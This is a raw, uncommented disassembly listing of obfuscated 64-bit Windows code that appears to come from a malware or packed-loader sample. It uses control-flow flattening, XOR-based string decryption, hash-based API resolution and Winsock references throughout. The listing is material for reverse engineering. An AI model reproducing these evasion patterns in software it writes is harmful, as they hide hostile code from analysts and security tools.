jne 0x180027940
mov qword [rbp + 0x198], rax
mov ebx, 0x65062d77
jmp 0x180027940
mov rcx, qword [rbp + 0xf8]
movsx ecx, byte [rcx]
mov dword [rbp + 0x100], ecx
mov ecx, 0x747d35ac
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x65062d77
je 0x180027a09
cmp ecx, 0x747d35ac
jne 0x180027980
mov qword [rbp + 0x198], rax
mov ecx, 0x65062d77
jmp 0x180027980
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x108]
mov edx, 0x3b41691a
mov ebx, 0xf670530f
cmove edx, ebx
jmp 0x1800278f0
mov rbx, qword [rbp + 0x198]
mov bl, byte [rbx]
add bl, 2
movsx ebx, bl
mov dword [rbp + 0x198], ebx
mov ebx, 0xddde9211
nop dword [rax]
cmp ebx, 0xe9a2447
je 0x180027a59
cmp ebx, 0xddde9211
jne 0x1800279e0
mov ebx, dword [rbp + 0x100]
xor ebx, dword [rbp + 0x198]
mov byte [rbp + 0x114], bl
mov ebx, 0xe9a2447
jmp 0x1800279e0
mov rcx, qword [rbp + 0x198]
mov cl, byte [rcx]
add cl, 5
movsx ecx, cl
mov dword [rbp + 0x198], ecx
mov ecx, 0xddde9211
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xe9a2447
je 0x180027a9e
cmp ecx, 0xddde9211
jne 0x180027a30
mov ecx, dword [rbp + 0x100]
xor ecx, dword [rbp + 0x198]
mov byte [rbp + 0x114], cl
mov ecx, 0xe9a2447
jmp 0x180027a30
mov bl, byte [rbp + 0x114]
mov byte [rdx + 1], bl
mov dword [rbp + 0x100], 0x4f
mov ebx, 0x747d35ac
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x65062d77
je 0x180027aee
cmp ebx, 0x747d35ac
jne 0x180027a80
mov qword [rbp + 0x198], rax
mov ebx, 0x65062d77
jmp 0x180027a80
mov cl, byte [rbp + 0x114]
mov rdx, qword [rbp + 0xf0]
mov byte [rdx], cl
mov rcx, qword [rbp + 0xf0]
mov dword [rbp + 0x100], WSAStartup
mov edx, 0x747d35ac
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x65062d77
je 0x180027b39
cmp edx, 0x747d35ac
jne 0x180027ad0
mov qword [rbp + 0x198], rax
mov edx, 0x65062d77
jmp 0x180027ad0
mov rbx, qword [rbp + 0x198]
mov bl, byte [rbx]
add bl, 3
movsx ebx, bl
mov dword [rbp + 0x198], ebx
mov ebx, 0xddde9211
nop dword [rax + rax]
cmp ebx, 0xe9a2447
je 0x180027b89
cmp ebx, 0xddde9211
jne 0x180027b10
mov ebx, dword [rbp + 0x100]
xor ebx, dword [rbp + 0x198]
mov byte [rbp + 0x114], bl
mov ebx, 0xe9a2447
jmp 0x180027b10
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
add dl, 6
movsx edx, dl
mov dword [rbp + 0x198], edx
mov edx, 0xddde9211
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xe9a2447
je 0x180027bce
cmp edx, 0xddde9211
jne 0x180027b60
mov edx, dword [rbp + 0x100]
xor edx, dword [rbp + 0x198]
mov byte [rbp + 0x114], dl
mov edx, 0xe9a2447
jmp 0x180027b60
mov bl, byte [rbp + 0x114]
mov byte [rdx + 2], bl
mov dword [rbp + 0x100], WSAStartup
mov ebx, 0x747d35ac
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x65062d77
je 0x180027c0e
cmp ebx, 0x747d35ac
jne 0x180027bb0
mov qword [rbp + 0x198], rax
mov ebx, 0x65062d77
jmp 0x180027bb0
mov dl, byte [rbp + 0x114]
mov byte [rcx + 1], dl
mov dword [rbp + 0x100], 0x4b
mov edx, 0x747d35ac
nop word cs:[rax + rax]
cmp edx, 0x65062d77
je 0x180027c59
cmp edx, 0x747d35ac
jne 0x180027bf0
mov qword [rbp + 0x198], rax
mov edx, 0x65062d77
jmp 0x180027bf0
mov rbx, qword [rbp + 0x198]
mov bl, byte [rbx]
add bl, 4
movsx ebx, bl
mov dword [rbp + 0x198], ebx
mov ebx, 0xddde9211
nop dword [rax + rax]
cmp ebx, 0xe9a2447
je 0x180027ca9
cmp ebx, 0xddde9211
jne 0x180027c30
mov ebx, dword [rbp + 0x100]
xor ebx, dword [rbp + 0x198]
mov byte [rbp + 0x114], bl
mov ebx, 0xe9a2447
jmp 0x180027c30
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
add dl, 7
movsx edx, dl
mov dword [rbp + 0x198], edx
mov edx, 0xddde9211
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xe9a2447
je 0x180027cd5
cmp edx, 0xddde9211
jne 0x180027c80
mov edx, dword [rbp + 0x100]
xor edx, dword [rbp + 0x198]
mov byte [rbp + 0x114], dl
mov edx, 0xe9a2447
jmp 0x180027c80
mov bl, byte [rbp + 0x114]
mov byte [rdx + 3], bl
add rdx, 4
mov qword [rbp + 0xf0], rdx
lea rdx, [0x1800dface]
mov qword [rbp + 0xf8], rdx
mov edx, 0x952ed658
jmp 0x1800278f0
mov dl, byte [rbp + 0x114]
mov byte [rcx + 2], dl
mov dword [rbp + 0x100], 0x65
mov edx, 0x747d35ac
nop dword [rax]
cmp edx, 0x65062d77
je 0x180027d0e
cmp edx, 0x747d35ac
jne 0x180027cf0
mov qword [rbp + 0x198], rax
mov edx, 0x65062d77
jmp 0x180027cf0
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
add dl, 8
movsx edx, dl
mov dword [rbp + 0x198], edx
mov edx, 0xddde9211
nop dword [rax + rax]
cmp edx, 0xe9a2447
je 0x180027d59
cmp edx, 0xddde9211
jne 0x180027d30
mov edx, dword [rbp + 0x100]
xor edx, dword [rbp + 0x198]
mov byte [rbp + 0x114], dl
mov edx, 0xe9a2447
jmp 0x180027d30
mov dl, byte [rbp + 0x114]
mov byte [rcx + 3], dl
mov dword [rbp + 0x100], 0x79
mov edx, 0x747d35ac
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x65062d77
je 0x180027d9e
cmp edx, 0x747d35ac
jne 0x180027d80
mov qword [rbp + 0x198], rax
mov edx, 0x65062d77
jmp 0x180027d80
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
add dl, 9
movsx edx, dl
mov dword [rbp + 0x198], edx
mov edx, 0xddde9211
nop dword [rax + rax]
cmp edx, 0xe9a2447
je 0x180027de9
cmp edx, 0xddde9211
jne 0x180027dc0
mov edx, dword [rbp + 0x100]
xor edx, dword [rbp + 0x198]
mov byte [rbp + 0x114], dl
mov edx, 0xe9a2447
jmp 0x180027dc0
mov dl, byte [rbp + 0x114]
mov byte [rcx + 4], dl
mov dword [rbp + 0x100], 0x45
mov edx, 0x747d35ac
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x65062d77
je 0x180027e2e
cmp edx, 0x747d35ac
jne 0x180027e10
mov qword [rbp + 0x198], rax
mov edx, 0x65062d77
jmp 0x180027e10
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
add dl, 0xa
movsx edx, dl
mov dword [rbp + 0x198], edx
mov edx, 0xddde9211
nop dword [rax + rax]
cmp edx, 0xe9a2447
je 0x180027e79
cmp edx, 0xddde9211
jne 0x180027e50
mov edx, dword [rbp + 0x100]
xor edx, dword [rbp + 0x198]
mov byte [rbp + 0x114], dl
mov edx, 0xe9a2447
jmp 0x180027e50
mov dl, byte [rbp + 0x114]
mov byte [rcx + 5], dl
mov dword [rbp + 0x100], pe_nt_image_headers64
mov edx, 0x747d35ac
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x65062d77
je 0x180027ebe
cmp edx, 0x747d35ac
jne 0x180027ea0
mov qword [rbp + 0x198], rax
mov edx, 0x65062d77
jmp 0x180027ea0
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
add dl, 0xb
movsx edx, dl
mov dword [rbp + 0x198], edx
mov edx, 0xddde9211
nop dword [rax + rax]
cmp edx, 0xe9a2447
je 0x180027f09
cmp edx, 0xddde9211
jne 0x180027ee0
mov edx, dword [rbp + 0x100]
xor edx, dword [rbp + 0x198]
mov byte [rbp + 0x114], dl
mov edx, 0xe9a2447
jmp 0x180027ee0
mov dl, byte [rbp + 0x114]
mov byte [rcx + 6], dl
mov dword [rbp + 0x100], 0x57
mov edx, 0x747d35ac
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x65062d77
je 0x180027f4e
cmp edx, 0x747d35ac
jne 0x180027f30
mov qword [rbp + 0x198], rax
mov edx, 0x65062d77
jmp 0x180027f30
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
add dl, 0xc
movsx edx, dl
mov dword [rbp + 0x198], edx
mov edx, 0xddde9211
nop dword [rax + rax]
cmp edx, 0xe9a2447
je 0x180027f99
cmp edx, 0xddde9211
jne 0x180027f70
mov edx, dword [rbp + 0x100]
xor edx, dword [rbp + 0x198]
mov byte [rbp + 0x114], dl
mov edx, 0xe9a2447
jmp 0x180027f70
mov dl, byte [rbp + 0x114]
mov byte [rcx + 7], dl
add rcx, 8
mov rdx, qword [rbp + 0xe0]
add rdx, 0xf
mov qword [rbp + 0x108], rdx
mov edx, 0x3b41691a
jmp 0x1800278f0
mov ecx, dword [rbp + 0x198]
mov word [rax + 2], cx
mov dword [rbp + 0xf8], 0x63
mov ecx, 0x208c3fae
nop dword [rax + rax]
cmp ecx, 0x15381f02
je 0x1800284c7
cmp ecx, 0x208c3fae
jne 0x180027fe0
mov dword [rbp + 0x198], 1
mov ecx, 0x15381f02
jmp 0x180027fe0
mov al, byte [rbp + 0x100]
mov ecx, dword [rbp + 0xe0]
add cl, al
mov rax, qword [rbp + 0x108]
mov byte [rax], cl
mov rax, qword [rbp + 0x108]
mov ecx, 0xcd4c63d1
nop dword [rax + rax]
cmp ecx, 0xc7bac0e9
je 0x18002850d
cmp ecx, 0xcd4c63d1
jne 0x180028030
mov dword [rbp + 0xe0], 0x57
mov ecx, 0x55e99ba6
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xab725888
je 0x180028081
cmp ecx, 0x55e99ba6
jne 0x180028060
mov dword [rbp + 0xe8], 4
mov ecx, 0xab725888
jmp 0x180028060
mov ecx, dword [rbp + 0xe8]
mov byte [rbp + 0x100], cl
mov ecx, 0xc7bac0e9
jmp 0x180028030
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x20
call fcn.180030fe0
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
mov edi, 0x9304b30f
jmp 0x1800280f0
movsxd rbx, r8d
xor rbx, qword [rbp + 0x198]
imul rbx, r9
mov esi, dword [rbp + 0xf0]
add esi, 1
mov edi, 0xc46bd60d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edi, 0xec989664
jle 0x180028150
cmp edi, 0xde9741a
jle 0x1800281a0
cmp edi, 0x4040a63f
jg 0x180028229
cmp edi, 0xde9741b
je 0x1800282f2
cmp edi, 0x23777f42
je 0x180028309
cmp edi, 0x34fd6d6d
jne 0x1800280f0
cmp byte [rbp + 0xd4], 0
mov edi, 0xa8588bcc
cmovne edi, r13d
jmp 0x1800280f0
cmp edi, 0xb3b07733
jle 0x1800281e0
cmp edi, 0xc86312b3
jle 0x18002825d
cmp edi, 0xc86312b4
je 0x1800280c5
cmp edi, 0xcaf004ba
je 0x180028313
cmp edi, 0xdf0d33c4
jne 0x1800280f0
mov edi, 0xc46bd60d
xor esi, esi
mov rbx, r14
jmp 0x1800280f0
cmp edi, 0xfa416f8f
jle 0x18002829e
cmp edi, 0xfa416f90
je 0x180028340
cmp edi, 0x45d558a
je 0x180028351
cmp edi, 0xc942d64
jne 0x1800280f0
mov edi, 0xcaf004ba
xor edx, edx
jmp 0x1800280f0
cmp edi, 0xa8588bcb
jle 0x1800282d0
cmp edi, 0xa8588bcc
je 0x18002836b
cmp edi, 0xa94a57ae
je 0x18002837c
cmp edi, 0xb18d2356
jne 0x1800280f0
mov ecx, dword [rbp + 0x100]
or ecx, 0x20
mov dword [rbp + 0xe0], ecx
mov edi, 0xfa416f90
jmp 0x1800280f0
cmp edi, 0x4040a640
je 0x180028386
cmp edi, 0x494b1080
je 0x180028390
cmp edi, 0x6238ad6b
jne 0x1800280f0
mov edi, 0xcaf004ba
mov edx, dword [rbp + 0x114]
jmp 0x1800280f0
cmp edi, 0xb3b07734
je 0x1800283a5
cmp edi, 0xc46bd60d
jne 0x180028400
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x198], rbx
mov edi, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xf0]
cmp ecx, edi
mov edi, 0xc5d9b945
cmovb edi, r11d
jmp 0x1800280f0
cmp edi, 0xec989665
je 0x1800283cc
cmp edi, 0xed3b0916
jne 0x1800280f0
mov ecx, dword [rbp + 0x100]
cmp ecx, 0x5b
setl byte [rbp + 0xd4]
mov edi, 0x34fd6d6d
jmp 0x1800280f0
cmp edi, 0x8051c795
je 0x1800283e5
cmp edi, 0x9304b30f
jne 0x1800280f0
mov edi, 0xc942d64
jmp 0x1800280f0
mov ecx, dword [rbp + 0xf0]
mov qword [rbp + 0xf8], rcx
mov edi, 0x8051c795
jmp 0x1800280f0
mov edi, 0xdf0d33c4
jmp 0x1800280f0
mov dword [rbp + 0xe8], edx
mov edi, dword [rbp + 0xe8]
movsx edi, byte [rax + rdi]
mov dword [rbp + 0xd8], edi
mov edi, dword [rbp + 0xd8]
cmp edi, 0x1f
mov edi, 0xa94a57ae
cmovg edi, r12d
jmp 0x1800280f0
mov edi, 0xc86312b4
mov r8d, dword [rbp + 0xe0]
jmp 0x1800280f0
mov edi, dword [rbp + 0xd8]
cmp edi, 0x7f
setl byte [rbp + 0xdf]
mov edi, 0x494b1080
jmp 0x1800280f0
mov edi, 0xc86312b4
mov r8d, dword [rbp + 0x100]
jmp 0x1800280f0
mov edi, 0x23777f42
jmp 0x1800280f0
mov edi, 0x6238ad6b
jmp 0x1800280f0
cmp byte [rbp + 0xdf], 0
mov edi, 0xa94a57ae
cmovne edi, r15d
jmp 0x1800280f0
mov rcx, qword [rbp + 0x108]
movsx ecx, byte [rcx]
mov dword [rbp + 0x100], ecx
mov ecx, dword [rbp + 0x100]
cmp ecx, 0x40
mov edi, 0xa8588bcc
cmovg edi, r10d
jmp 0x1800280f0
mov edi, dword [rbp + 0xe8]
add edi, 1
mov dword [rbp + 0x114], edi
mov edi, 0x4040a640
jmp 0x1800280f0
mov rcx, qword [rbp + 0xf8]
add rcx, rax
mov qword [rbp + 0x108], rcx
mov edi, 0xb3b07734
jmp 0x1800280f0
cmp edi, 0xc5d9b945
jne 0x1800280f0
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov rdi, rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0xa8]
mov ecx, 0xc382c575
mov esi, 0xd2fcbbf0
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xf70b2372
je 0x18002895d
cmp ecx, 0xc382c575
jne 0x180028450
mov ecx, 0x6ae61856
nop dword [rax]
cmp ecx, 0x95339442
je 0x180028491
cmp ecx, 0x6ae61856
jne 0x180028470
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x180028470
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x73
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x180028450
mov ecx, dword [rbp + 0x198]
movzx ecx, cx
mov dword [rbp + 0x108], ecx
mov ecx, 0x31621dba
nop dword [rax + rax]
cmp ecx, 0x33dbcd71
je 0x1800289e7
cmp ecx, 0x31621dba
jne 0x1800284e0
mov ecx, dword [rbp + 0xf8]
add ecx, dword [rbp + 0x108]
mov dword [rbp + 0x198], ecx
mov ecx, 0x33dbcd71
jmp 0x1800284e0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 1], dl
mov byte [rax + 2], 0
sub rsp, 0x20
mov rcx, rbx
call fcn.180030b40
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
mov edi, 0x9304b30f
jmp 0x180028570
movsxd rbx, r8d
xor rbx, qword [rbp + 0x108]
imul rbx, r9
mov esi, dword [rbp + 0xe8]
add esi, 1
mov edi, 0xc46bd60d
nop dword [rax + rax]
cmp edi, 0xec989664
jle 0x1800285d0
cmp edi, 0xde9741a
jle 0x180028620
cmp edi, 0x4040a63f
jg 0x1800286a9
cmp edi, 0xde9741b
je 0x180028772
cmp edi, 0x23777f42
je 0x180028789
cmp edi, 0x34fd6d6d
jne 0x180028570
cmp byte [rbp + 0xdf], 0
mov edi, 0xa8588bcc
cmovne edi, r13d
jmp 0x180028570
cmp edi, 0xb3b07733
jle 0x180028660
cmp edi, 0xc86312b3
jle 0x1800286dd
cmp edi, 0xc86312b4
je 0x18002854f
cmp edi, 0xcaf004ba
je 0x180028793
cmp edi, 0xdf0d33c4
jne 0x180028570
mov edi, 0xc46bd60d
xor esi, esi
mov rbx, r14
jmp 0x180028570
cmp edi, 0xfa416f8f
jle 0x18002871e
cmp edi, 0xfa416f90
je 0x1800287c0
cmp edi, 0x45d558a
je 0x1800287d1
cmp edi, 0xc942d64
jne 0x180028570
mov edi, 0xcaf004ba
xor edx, edx
jmp 0x180028570
cmp edi, 0xa8588bcb
jle 0x180028750
cmp edi, 0xa8588bcc
je 0x1800287eb
cmp edi, 0xa94a57ae
je 0x1800287fc
cmp edi, 0xb18d2356
jne 0x180028570
mov ecx, dword [rbp + 0x114]
or ecx, 0x20
mov dword [rbp + 0x100], ecx
mov edi, 0xfa416f90
jmp 0x180028570
cmp edi, 0x4040a640
je 0x180028806
cmp edi, 0x494b1080
je 0x180028810
cmp edi, 0x6238ad6b
jne 0x180028570
mov edi, 0xcaf004ba
mov edx, dword [rbp + 0xd8]
jmp 0x180028570
cmp edi, 0xb3b07734
je 0x180028825
cmp edi, 0xc46bd60d
jne 0x180028880
mov dword [rbp + 0xe8], esi
mov qword [rbp + 0x108], rbx
mov edi, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe8]
cmp ecx, edi
mov edi, 0xc5d9b945
cmovb edi, r11d
jmp 0x180028570
cmp edi, 0xec989665
je 0x18002884c
cmp edi, 0xed3b0916
jne 0x180028570
mov ecx, dword [rbp + 0x114]
cmp ecx, 0x5b
setl byte [rbp + 0xdf]
mov edi, 0x34fd6d6d
jmp 0x180028570
cmp edi, 0x8051c795
je 0x180028865
cmp edi, 0x9304b30f
jne 0x180028570
mov edi, 0xc942d64
jmp 0x180028570
mov ecx, dword [rbp + 0xe8]
mov qword [rbp + 0xf0], rcx
mov edi, 0x8051c795
jmp 0x180028570
mov edi, 0xdf0d33c4
jmp 0x180028570
mov dword [rbp + 0xe0], edx
mov edi, dword [rbp + 0xe0]
movsx edi, byte [rax + rdi]
mov dword [rbp + 0xd4], edi
mov edi, dword [rbp + 0xd4]
cmp edi, 0x1f
mov edi, 0xa94a57ae
cmovg edi, r12d
jmp 0x180028570
mov edi, 0xc86312b4
mov r8d, dword [rbp + 0x100]
jmp 0x180028570
mov edi, dword [rbp + 0xd4]
cmp edi, 0x7f
setl byte [rbp + 0xd2]
mov edi, 0x494b1080
jmp 0x180028570
mov edi, 0xc86312b4
mov r8d, dword [rbp + 0x114]
jmp 0x180028570
mov edi, 0x23777f42
jmp 0x180028570
mov edi, 0x6238ad6b
jmp 0x180028570
cmp byte [rbp + 0xd2], 0
mov edi, 0xa94a57ae
cmovne edi, r15d
jmp 0x180028570
mov rcx, qword [rbp + 0xf8]
movsx ecx, byte [rcx]
mov dword [rbp + 0x114], ecx
mov ecx, dword [rbp + 0x114]
cmp ecx, 0x40
mov edi, 0xa8588bcc
cmovg edi, r10d
jmp 0x180028570
mov edi, dword [rbp + 0xe0]
add edi, 1
mov dword [rbp + 0xd8], edi
mov edi, 0x4040a640
jmp 0x180028570
mov rcx, qword [rbp + 0xf0]
add rcx, rax
mov qword [rbp + 0xf8], rcx
mov edi, 0xb3b07734
jmp 0x180028570
cmp edi, 0xc5d9b945
jne 0x180028570
mov rcx, qword [rbp + 0x108]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov rcx, qword [rbp + 0x38]
mov rcx, qword [rcx]
sub rsp, 0x20
lea rdx, [rbp + 0x220]
mov r8d, 0x400
call rax
add rsp, 0x20
lea rbx, [rbp + 0x198]
mov qword [rbp + 0xe0], rbx
mov rax, qword [rbp + 0xe0]
mov word [rax], 0x5abb
mov rax, qword [rbp + 0xe0]
add rax, 2
mov qword [rbp + 0xe8], rax
mov eax, 0x31e06469
mov esi, 0xd2fcbbf0
nop word cs:[rax + rax]
nop
cmp eax, 0x45644e5d
je 0x180028a33
cmp eax, 0x31e06469
jne 0x180028900
mov qword [rbp + 0x108], rbx
mov eax, 0x4cb6a7b5
nop
cmp eax, 0x35092079
je 0x180028946
cmp eax, 0x4cb6a7b5
jne 0x180028920
mov rax, qword [rbp + 0x108]
movzx eax, word [rax]
mov word [rbp + 0xf0], ax
mov eax, 0x35092079
jmp 0x180028920
movzx eax, word [rbp + 0xf0]
xor eax, 0x73
mov dword [rbp + 0xf8], eax
mov eax, 0x45644e5d
jmp 0x180028900
mov ecx, dword [rbp + 0x108]
mov word [rax], cx
mov ecx, 0xc382c575
nop dword [rax + rax]
cmp ecx, 0xf70b2372
je 0x18002a769
cmp ecx, 0xc382c575
jne 0x180028970
mov ecx, 0x6ae61856
nop dword [rax]
cmp ecx, 0x95339442
je 0x1800289b1
cmp ecx, 0x6ae61856
jne 0x180028990
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x180028990
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6f
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x180028970
mov ecx, dword [rbp + 0x198]
mov word [rax + 4], cx
add rax, 6
mov qword [rbp + 0x108], rax
mov dword [rbp + 0xf0], 0x68
mov eax, 0x208c3fae
nop dword [rax + rax]
cmp eax, 0x15381f02
je 0x18002a7f7
cmp eax, 0x208c3fae
jne 0x180028a10
mov dword [rbp + 0x198], 1
mov eax, 0x15381f02
jmp 0x180028a10
mov eax, dword [rbp + 0xf8]
mov rcx, qword [rbp + 0xe8]
mov word [rcx], ax
mov ecx, 0x75b766d4
nop dword [rax + rax]
cmp ecx, 0x62a62a69
jg 0x180028a90
cmp ecx, 0x4004d321
je 0x180028b0f
cmp ecx, 0x494fab72
jne 0x180028a50
mov word [rax], 0
add rax, 2
cmp rax, qword [rbp + 0xf8]
mov ecx, 0x494fab72
mov edx, 0x62a62a6a
cmove ecx, edx
jmp 0x180028a50
cmp ecx, 0x62a62a6a
je 0x18002a83b
cmp ecx, 0x75b766d4
jne 0x180028a50
mov rcx, qword [rbp + 0xe8]
mov edx, 0x31e06469
cmp edx, 0x45644e5d
je 0x180028b7f
cmp edx, 0x31e06469
jne 0x180028ab0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180028af8
cmp edx, 0x4cb6a7b5
jne 0x180028ad0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180028ad0
movzx edx, word [rbp + 0x114]
xor edx, 0x63
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180028ab0
mov rax, qword [rbp + 0xf0]
mov ecx, 0x31e06469
nop dword [rax + rax]
cmp ecx, 0x45644e5d
je 0x180028bef
cmp ecx, 0x31e06469
jne 0x180028b20
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180028b68
cmp ecx, 0x4cb6a7b5
jne 0x180028b40
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180028b40
movzx ecx, word [rbp + 0x114]
xor ecx, 0x65
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180028b20
mov edx, dword [rbp + 0x100]
mov word [rcx + 2], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180028c5f
cmp edx, 0x31e06469
jne 0x180028b90
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180028bd8
cmp edx, 0x4cb6a7b5
jne 0x180028bb0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180028bb0
movzx edx, word [rbp + 0x114]
xor edx, 0x20
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180028b90
mov ecx, dword [rbp + 0x100]
mov word [rax + 2], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180028ccf
cmp ecx, 0x31e06469
jne 0x180028c00
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180028c48
cmp ecx, 0x4cb6a7b5
jne 0x180028c20
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180028c20
movzx ecx, word [rbp + 0x114]
xor ecx, 0x78
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180028c00
mov edx, dword [rbp + 0x100]
mov word [rcx + 4], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180028d3f
cmp edx, 0x31e06469
jne 0x180028c70
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180028cb8
cmp edx, 0x4cb6a7b5
jne 0x180028c90
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180028c90
movzx edx, word [rbp + 0x114]
xor edx, 0x63
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180028c70
mov ecx, dword [rbp + 0x100]
mov word [rax + 4], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180028daf
cmp ecx, 0x31e06469
jne 0x180028ce0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180028d28
cmp ecx, 0x4cb6a7b5
jne 0x180028d00
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180028d00
movzx ecx, word [rbp + 0x114]
xor ecx, 0x65
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180028ce0
mov edx, dword [rbp + 0x100]
mov word [rcx + 6], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180028e1f
cmp edx, 0x31e06469
jne 0x180028d50
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180028d98
cmp edx, 0x4cb6a7b5
jne 0x180028d70
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180028d70
movzx edx, word [rbp + 0x114]
xor edx, 0x72
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180028d50
mov ecx, dword [rbp + 0x100]
mov word [rax + 6], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180028e8f
cmp ecx, 0x31e06469
jne 0x180028dc0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180028e08
cmp ecx, 0x4cb6a7b5
jne 0x180028de0
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x180028de0
movzx ecx, word [rbp + 0x114]
xor ecx, 0x20
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x180028dc0
mov edx, dword [rbp + 0x100]
mov word [rcx + 8], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x180028eff
cmp edx, 0x31e06469
jne 0x180028e30
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
cmp edx, 0x35092079
je 0x180028e78
cmp edx, 0x4cb6a7b5
jne 0x180028e50
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x180028e50
movzx edx, word [rbp + 0x114]
xor edx, 0x65
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x180028e30
mov ecx, dword [rbp + 0x100]
mov word [rax + 8], cx
mov ecx, 0x31e06469
nop
cmp ecx, 0x45644e5d
je 0x180028f6f
cmp ecx, 0x31e06469
jne 0x180028ea0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
cmp ecx, 0x35092079
je 0x180028ee8
cmp ecx, 0x4cb6a7b5
jne 0x180028ec0
mov rcx, qword [rbp + 0x108]
